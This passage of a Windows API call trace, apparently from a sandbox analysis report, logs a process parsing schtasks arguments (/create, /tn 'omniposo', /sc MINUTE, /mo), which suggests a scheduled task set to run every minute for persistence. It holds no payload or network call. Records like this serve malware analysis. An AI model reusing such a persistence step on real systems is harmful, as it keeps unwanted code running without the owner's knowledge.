lstrlenW (lpString="tr") returned 2 [0114.137] GetThreadLocale () returned 0x409 [0114.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.137] lstrlenW (lpString="st") returned 2 [0114.137] GetThreadLocale () returned 0x409 [0114.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.137] lstrlenW (lpString="sd") returned 2 [0114.137] GetThreadLocale () returned 0x409 [0114.173] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.173] lstrlenW (lpString="ed") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="it") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="et") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="k") returned 1 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="du") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="ri") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="z") returned 1 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="f") returned 1 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="v1") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="xml") returned 3 [0114.174] GetThreadLocale () returned 0x409 [0114.174] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.174] lstrlenW (lpString="ec") returned 2 [0114.174] GetThreadLocale () returned 0x409 [0114.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.175] lstrlenW (lpString="rl") returned 2 [0114.175] GetThreadLocale () returned 0x409 [0114.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.175] lstrlenW (lpString="delay") returned 5 [0114.175] GetThreadLocale () returned 0x409 [0114.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.175] lstrlenW (lpString="np") returned 2 [0114.175] GetThreadLocale () returned 0x409 [0114.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.175] lstrlenW (lpString="hresult") returned 7 [0114.175] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.175] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.175] lstrlenW (lpString="/create") returned 7 [0114.175] lstrlenW (lpString="-/") returned 2 [0114.175] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.175] lstrlenW (lpString="create") returned 6 [0114.175] lstrlenW (lpString="create") returned 6 [0114.175] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.175] lstrlenW (lpString="create") returned 6 [0114.175] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.175] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.175] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.175] lstrlenW (lpString="|create|") returned 8 [0114.175] lstrlenW (lpString="|create|") returned 8 [0114.175] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0114.175] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.175] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.176] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.176] lstrlenW (lpString="/tn") returned 3 [0114.176] lstrlenW (lpString="-/") returned 2 [0114.176] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.176] lstrlenW (lpString="create") returned 6 [0114.176] lstrlenW (lpString="create") returned 6 [0114.176] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.176] lstrlenW (lpString="tn") returned 2 [0114.176] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.176] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.176] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.176] lstrlenW (lpString="|create|") returned 8 [0114.176] lstrlenW (lpString="|tn|") returned 4 [0114.176] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0114.176] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.176] lstrlenW (lpString="?") returned 1 [0114.176] lstrlenW (lpString="?") returned 1 [0114.176] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.176] lstrlenW (lpString="tn") returned 2 [0114.176] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.176] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|?|") returned 3 [0114.176] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.176] lstrlenW (lpString="|?|") returned 3 [0114.176] lstrlenW (lpString="|tn|") returned 4 [0114.176] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.176] lstrlenW (lpString="s") returned 1 [0114.176] lstrlenW (lpString="s") returned 1 [0114.176] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.177] lstrlenW (lpString="tn") returned 2 [0114.177] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.177] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|s|") returned 3 [0114.177] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.177] lstrlenW (lpString="|s|") returned 3 [0114.177] lstrlenW (lpString="|tn|") returned 4 [0114.177] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.177] lstrlenW (lpString="u") returned 1 [0114.177] lstrlenW (lpString="u") returned 1 [0114.177] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.177] lstrlenW (lpString="tn") returned 2 [0114.177] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.177] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|u|") returned 3 [0114.177] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.177] lstrlenW (lpString="|u|") returned 3 [0114.177] lstrlenW (lpString="|tn|") returned 4 [0114.177] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.177] lstrlenW (lpString="p") returned 1 [0114.177] lstrlenW (lpString="p") returned 1 [0114.177] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.177] lstrlenW (lpString="tn") returned 2 [0114.177] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.177] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|p|") returned 3 [0114.177] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.177] lstrlenW (lpString="|p|") returned 3 [0114.177] lstrlenW (lpString="|tn|") returned 4 [0114.178] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.178] lstrlenW (lpString="ru") returned 2 [0114.178] lstrlenW (lpString="ru") returned 2 [0114.178] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.178] lstrlenW (lpString="tn") returned 2 [0114.178] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.178] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ru|") returned 4 [0114.178] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.178] lstrlenW (lpString="|ru|") returned 4 [0114.178] lstrlenW (lpString="|tn|") returned 4 [0114.178] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0114.178] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.178] lstrlenW (lpString="rp") returned 2 [0114.178] lstrlenW (lpString="rp") returned 2 [0114.178] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.178] lstrlenW (lpString="tn") returned 2 [0114.178] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.178] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|rp|") returned 4 [0114.178] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.178] lstrlenW (lpString="|rp|") returned 4 [0114.178] lstrlenW (lpString="|tn|") returned 4 [0114.178] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0114.178] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.178] lstrlenW (lpString="sc") returned 2 [0114.178] lstrlenW (lpString="sc") returned 2 [0114.178] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.178] lstrlenW (lpString="tn") returned 2 [0114.179] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.179] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.179] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.179] lstrlenW (lpString="|sc|") returned 4 [0114.179] lstrlenW (lpString="|tn|") returned 4 [0114.179] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0114.179] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.179] lstrlenW (lpString="mo") returned 2 [0114.179] lstrlenW (lpString="mo") returned 2 [0114.179] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.179] lstrlenW (lpString="tn") returned 2 [0114.179] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.179] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.179] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.179] lstrlenW (lpString="|mo|") returned 4 [0114.179] lstrlenW (lpString="|tn|") returned 4 [0114.179] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0114.179] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.179] lstrlenW (lpString="d") returned 1 [0114.179] lstrlenW (lpString="d") returned 1 [0114.179] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.179] lstrlenW (lpString="tn") returned 2 [0114.179] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.179] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|d|") returned 3 [0114.179] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.179] lstrlenW (lpString="|d|") returned 3 [0114.179] lstrlenW (lpString="|tn|") returned 4 [0114.180] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.180] lstrlenW (lpString="m") returned 1 [0114.180] lstrlenW (lpString="m") returned 1 [0114.180] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.180] lstrlenW (lpString="tn") returned 2 [0114.180] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.180] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|m|") returned 3 [0114.180] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.180] lstrlenW (lpString="|m|") returned 3 [0114.180] lstrlenW (lpString="|tn|") returned 4 [0114.180] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.180] lstrlenW (lpString="i") returned 1 [0114.180] lstrlenW (lpString="i") returned 1 [0114.180] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.180] lstrlenW (lpString="tn") returned 2 [0114.180] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.180] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|i|") returned 3 [0114.180] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.180] lstrlenW (lpString="|i|") returned 3 [0114.180] lstrlenW (lpString="|tn|") returned 4 [0114.180] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.180] lstrlenW (lpString="tn") returned 2 [0114.180] lstrlenW (lpString="tn") returned 2 [0114.180] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.180] lstrlenW (lpString="tn") returned 2 [0114.180] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.180] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.181] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.181] lstrlenW (lpString="|tn|") returned 4 [0114.181] lstrlenW (lpString="|tn|") returned 4 [0114.181] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] lstrlenW (lpString="omniposo") returned 8 [0114.181] lstrlenW (lpString="-/") returned 2 [0114.181] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] lstrlenW (lpString="omniposo") returned 8 [0114.181] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] lstrlenW (lpString="omniposo") returned 8 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.181] lstrlenW (lpString="/sc") returned 3 [0114.181] lstrlenW (lpString="-/") returned 2 [0114.181] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.181] lstrlenW (lpString="create") returned 6 [0114.181] lstrlenW (lpString="create") returned 6 [0114.181] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.181] lstrlenW (lpString="sc") returned 2 [0114.181] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.181] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.181] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.181] lstrlenW (lpString="|create|") returned 8 [0114.181] lstrlenW (lpString="|sc|") returned 4 [0114.182] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0114.182] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.182] lstrlenW (lpString="?") returned 1 [0114.182] lstrlenW (lpString="?") returned 1 [0114.182] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.182] lstrlenW (lpString="sc") returned 2 [0114.182] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.182] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|?|") returned 3 [0114.182] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.182] lstrlenW (lpString="|?|") returned 3 [0114.182] lstrlenW (lpString="|sc|") returned 4 [0114.182] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.182] lstrlenW (lpString="s") returned 1 [0114.182] lstrlenW (lpString="s") returned 1 [0114.182] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.182] lstrlenW (lpString="sc") returned 2 [0114.182] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.182] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|s|") returned 3 [0114.182] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.182] lstrlenW (lpString="|s|") returned 3 [0114.182] lstrlenW (lpString="|sc|") returned 4 [0114.182] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.182] lstrlenW (lpString="u") returned 1 [0114.182] lstrlenW (lpString="u") returned 1 [0114.182] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.182] lstrlenW (lpString="sc") returned 2 [0114.182] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.182] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|u|") returned 3 [0114.183] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.183] lstrlenW (lpString="|u|") returned 3 [0114.183] lstrlenW (lpString="|sc|") returned 4 [0114.183] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.183] lstrlenW (lpString="p") returned 1 [0114.183] lstrlenW (lpString="p") returned 1 [0114.183] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.183] lstrlenW (lpString="sc") returned 2 [0114.183] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.183] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|p|") returned 3 [0114.183] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.183] lstrlenW (lpString="|p|") returned 3 [0114.183] lstrlenW (lpString="|sc|") returned 4 [0114.183] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.183] lstrlenW (lpString="ru") returned 2 [0114.183] lstrlenW (lpString="ru") returned 2 [0114.183] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.183] lstrlenW (lpString="sc") returned 2 [0114.183] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.183] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ru|") returned 4 [0114.183] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.183] lstrlenW (lpString="|ru|") returned 4 [0114.183] lstrlenW (lpString="|sc|") returned 4 [0114.183] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0114.183] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.183] lstrlenW (lpString="rp") returned 2 [0114.183] lstrlenW (lpString="rp") returned 2 [0114.183] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.184] lstrlenW (lpString="sc") returned 2 [0114.184] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.184] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|rp|") returned 4 [0114.186] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.186] lstrlenW (lpString="|rp|") returned 4 [0114.186] lstrlenW (lpString="|sc|") returned 4 [0114.186] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0114.186] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] lstrlenW (lpString="sc") returned 2 [0114.187] lstrlenW (lpString="sc") returned 2 [0114.187] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.187] lstrlenW (lpString="sc") returned 2 [0114.187] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.187] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.187] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.187] lstrlenW (lpString="|sc|") returned 4 [0114.187] lstrlenW (lpString="|sc|") returned 4 [0114.187] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] lstrlenW (lpString="MINUTE") returned 6 [0114.187] lstrlenW (lpString="-/") returned 2 [0114.187] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] lstrlenW (lpString="MINUTE") returned 6 [0114.187] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.187] GetProcessHeap () returned 0x1f1146c0000 [0114.187] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146ca950 [0114.187] _memicmp (_Buf1=0x1f1146ca950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.187] lstrlenW (lpString="MINUTE") returned 6 [0114.187] GetProcessHeap () returned 0x1f1146c0000 [0114.187] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146cab10 [0114.187] lstrlenW (lpString="MINUTE") returned 6 [0114.188] lstrlenW (lpString=" \x09") returned 2 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0114.188] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0114.188] GetLastError () returned 0x0 [0114.188] lstrlenW (lpString="MINUTE") returned 6 [0114.188] lstrlenW (lpString="MINUTE") returned 6 [0114.188] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.188] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.188] lstrlenW (lpString="/mo") returned 3 [0114.188] lstrlenW (lpString="-/") returned 2 [0114.188] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.188] lstrlenW (lpString="create") returned 6 [0114.188] lstrlenW (lpString="create") returned 6 [0114.188] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.188] lstrlenW (lpString="mo") returned 2 [0114.188] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.188] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.188] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.188] lstrlenW (lpString="|create|") returned 8 [0114.188] lstrlenW (lpString="|mo|") returned 4 [0114.188] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0114.188] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.188] lstrlenW (lpString="?") returned 1 [0114.188] lstrlenW (lpString="?") returned 1 [0114.188] _memicmp (_Buf1=0x1f1146c43a0, 